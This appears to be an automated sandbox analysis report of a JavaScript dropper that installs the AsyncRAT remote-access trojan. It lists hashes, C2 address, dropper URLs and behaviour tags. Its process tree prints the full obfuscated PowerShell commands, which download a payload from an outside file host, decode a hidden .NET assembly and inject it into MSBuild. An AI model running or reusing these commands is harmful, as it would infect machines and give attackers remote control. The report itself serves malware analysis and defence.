Analysis

  • max time kernel
    95s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 15:34

General

  • Target

    uPh2C.js

  • Size

    58KB

  • MD5

    705e54950f28c565dbe4818eb2be7423

  • SHA1

    19ff36dbb676a64197e0a645adf317d2b9cc17d3

  • SHA256

    0844465dfa8bb241f452c320bc6caf6cec645b461dbcd468a2afc9dc900e595c

  • SHA512

    cc9b21272ba9a2fa038a82c8206303575ce9374f1275b9c394407828c475789616e914befecf58e25c94d451fa92d5a313a611188516b4120015846dac56288f

  • SSDEEP

    1536:a0vDHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+l/4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhxddi:aoDHXp+q62Nhxdd5pdq61HXp+q62Nhx6

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

asyncrat

Version

1.0.7

Botnet

1

C2

148.113.165.11:3236

Mutex

asassassas

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\uPh2C.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgBWADoAQwBvAG0AcwBQAEUAQwBbADQALAAxADUALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAnAEgATAAxAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABPAEoAMABoAHQAdABwAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwAnACsAJwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwAnACsAJwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAJwArACcAcwBkACcAKwAnADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQAnACsAJwBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEANABiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAATwBKADAAOwBIACcAKwAnAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlA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ABBAHIAXQA3ADYAKwBbAGMASABBAHIAXQA0ADkAKQAsAFsAUwBUAHIAaQBuAGcAXQBbAGMASABBAHIAXQAzADYAKQAuAFIAZQBwAGwAQQBDAEUAKAAoAFsAYwBIAEEAcgBdADcAOQArAFsAYwBIAEEAcgBdADcANAArAFsAYwBIAEEAcgBdADQAOAApACwAWwBTAFQAcgBpAG4AZwBdAFsAYwBIAEEAcgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:ComsPEC[4,15,25]-JOin'') ( ('HL1imageUrl = OJ0https://1017.filemail.com/api/'+'file/get?filekey=2Aa_'+'bWo9Reu45t7BU1kVg'+'sd'+'9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OJ0;H'+'L1webClient = New-Object System.Net.WebClient;HL1imageBytes = HL1webClient.DownloadData(HL1imageUrl);HL1imageText = [System.Text.Encoding]::UTF8.GetString(HL1imageBytes);HL1startFlag = OJ0<<BASE64_START>>OJ0;HL1'+'endFlag = OJ0<<BASE64_END>>OJ0;HL1startIndex = HL1imageText.IndexO'+'f(HL1startFlag);HL1endIndex = HL1imageText.IndexOf(HL1endFlag);HL1startIndex -ge 0 -and HL1endIndex -gt HL'+'1startIndex;HL1start'+'Index += HL1startFlag.Length;HL1b'+'ase64Length'+' = HL1'+'endIndex - H'+'L1startIndex;HL1b'+'ase64Command = HL1imageText.Substring(HL1startIndex, HL1base64Length);HL1base64Reversed = -join (HL1base64Command.'+'ToCharArray() IOE ForEach-Object { HL1_ })[-1..-(HL1base64Command.Length)];HL1commandBytes = [System.Convert]::FromBase64String(HL1base64Reversed);HL1loa'+'de'+'dAssembly = [System.Reflection.Assembly]::Load(HL1commandByte'+'s);HL1vaiMethod = [dnlib.IO.Home].GetMethod(OJ0VA'+'IOJ0);HL1vaiMethod.Invoke(HL1null,'+' @(OJ00/tQ9H1/d/ee.etsap//:sptthOJ0, OJ0desativadoOJ0, '+'OJ0desativadoOJ0, OJ0desa'+'tivadoOJ0, OJ0MSBuildOJ0, OJ0des'+'ativadoOJ0,'+' OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,O'+'J01OJ0,OJ0desativadoOJ0));').ReplACE(([cHAr]73+[cHAr]79+[cHAr]69),'|').ReplACE(([cHAr]72+[cHAr]76+[cHAr]49),[STring][cHAr]36).ReplACE(([cHAr]79+[cHAr]74+[cHAr]48),[STring][cHAr]39))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2696

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4uppi3j.vww.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1580-23-0x000002047FE70000-0x000002047FFC8000-memory.dmp

    Filesize

    1.3MB

  • memory/2696-24-0x0000000000400000-0x0000000000412000-memory.dmp

    Filesize

    72KB

  • memory/2696-33-0x0000000005B20000-0x0000000005BBC000-memory.dmp

    Filesize

    624KB

  • memory/2696-34-0x0000000006170000-0x0000000006714000-memory.dmp

    Filesize

    5.6MB

  • memory/2696-35-0x0000000005C30000-0x0000000005C96000-memory.dmp

    Filesize

    408KB

  • memory/4780-12-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

    Filesize

    10.8MB

  • memory/4780-22-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

    Filesize

    10.8MB

  • memory/4780-0-0x00007FFB76463000-0x00007FFB76465000-memory.dmp

    Filesize

    8KB

  • memory/4780-11-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

    Filesize

    10.8MB

  • memory/4780-6-0x0000018658070000-0x0000018658092000-memory.dmp

    Filesize

    136KB

  • memory/4780-30-0x00007FFB76460000-0x00007FFB76F21000-memory.dmp

    Filesize

    10.8MB